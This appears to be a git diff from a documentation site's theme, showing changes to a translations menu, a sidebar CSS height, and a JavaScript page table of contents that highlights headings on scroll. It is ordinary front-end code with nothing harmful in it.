<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
|
||||
<i class="fa fa-globe"></i>
|
||||
<span class="menu-bar-link">Translations</span>
|
||||
|
||||
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
<button id="en" role="menuitem" class="menu-bar-link">English</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
|
||||
<button id="de" role="menuitem" class="menu-bar-link">German</button>
|
||||
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
|
||||
@ -190,11 +192,10 @@
|
||||
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
|
||||
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
|
||||
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
|
||||
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
|
||||
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@ -72,7 +72,7 @@
|
||||
.sidetoc-wrapper {
|
||||
position: fixed;
|
||||
width: 250px;
|
||||
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
|
||||
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
|
||||
overflow: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
||||
@ -1,68 +1,76 @@
|
||||
let scrollTimeout;
|
||||
let scrollTimeout
|
||||
|
||||
const listenActive = () => {
|
||||
const elems = document.querySelector(".pagetoc").children;
|
||||
[...elems].forEach(el => {
|
||||
const elems = document.querySelector(".pagetoc").children
|
||||
;[...elems].forEach((el) => {
|
||||
el.addEventListener("click", (event) => {
|
||||
clearTimeout(scrollTimeout);
|
||||
[...elems].forEach(el => el.classList.remove("active"));
|
||||
el.classList.add("active");
|
||||
clearTimeout(scrollTimeout)
|
||||
;[...elems].forEach((el) => el.classList.remove("active"))
|
||||
el.classList.add("active")
|
||||
// Prevent scroll updates for a short period
|
||||
scrollTimeout = setTimeout(() => {
|
||||
scrollTimeout = null;
|
||||
}, 100); // Adjust timing as needed
|
||||
});
|
||||
});
|
||||
};
|
||||
scrollTimeout = null
|
||||
}, 100) // Adjust timing as needed
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
|
||||
const getPagetoc = () =>
|
||||
document.querySelector(".pagetoc") || autoCreatePagetoc()
|
||||
|
||||
const autoCreatePagetoc = () => {
|
||||
const main = document.querySelector("#content > main");
|
||||
const main = document.querySelector("#content > main")
|
||||
const content = Object.assign(document.createElement("div"), {
|
||||
className: "content-wrap"
|
||||
});
|
||||
content.append(...main.childNodes);
|
||||
main.prepend(content);
|
||||
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
|
||||
return document.querySelector(".pagetoc");
|
||||
};
|
||||
className: "content-wrap",
|
||||
})
|
||||
content.append(...main.childNodes)
|
||||
main.prepend(content)
|
||||
main.insertAdjacentHTML(
|
||||
"afterbegin",
|
||||
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
|
||||
)
|
||||
return document.querySelector(".pagetoc")
|
||||
}
|
||||
const updateFunction = () => {
|
||||
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
const scrolledY = window.scrollY;
|
||||
let lastHeader = null;
|
||||
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
const scrolledY = window.scrollY
|
||||
let lastHeader = null
|
||||
|
||||
// Find the last header that is above the current scroll position
|
||||
for (let i = headers.length - 1; i >= 0; i--) {
|
||||
if (scrolledY >= headers[i].offsetTop) {
|
||||
lastHeader = headers[i];
|
||||
break;
|
||||
lastHeader = headers[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children];
|
||||
pagetocLinks.forEach(link => link.classList.remove("active"));
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children]
|
||||
pagetocLinks.forEach((link) => link.classList.remove("active"))
|
||||
|
||||
if (lastHeader) {
|
||||
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
|
||||
if (activeLink) activeLink.classList.add("active");
|
||||
const activeLink = pagetocLinks.find(
|
||||
(link) => lastHeader.href === link.href
|
||||
)
|
||||
if (activeLink) activeLink.classList.add("active")
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
window.addEventListener('load', () => {
|
||||
const pagetoc = getPagetoc();
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
headers.forEach(header => {
|
||||
window.addEventListener("load", () => {
|
||||
const pagetoc = getPagetoc()
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
headers.forEach((header) => {
|
||||
const link = Object.assign(document.createElement("a"), {
|
||||
textContent: header.text,
|
||||
href: header.href,
|
||||
className: `pagetoc-${header.parentElement.tagName}`
|
||||
});
|
||||
pagetoc.appendChild(link);
|
||||
});
|
||||
updateFunction();
|
||||
listenActive();
|
||||
window.addEventListener("scroll", updateFunction);
|
||||
});
|
||||
|
||||
className: `pagetoc-${header.parentElement.tagName}`,
|
||||
})
|
||||
if (header.parentElement.querySelectorAll("a").length === 2) {
|
||||
link.textContent = header.parentElement.querySelectorAll("a")[1].text
|
||||
}
|
||||
pagetoc.appendChild(link)
|
||||
})
|
||||
updateFunction()
|
||||
listenActive()
|
||||
window.addEventListener("scroll", updateFunction)
|
||||
})
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user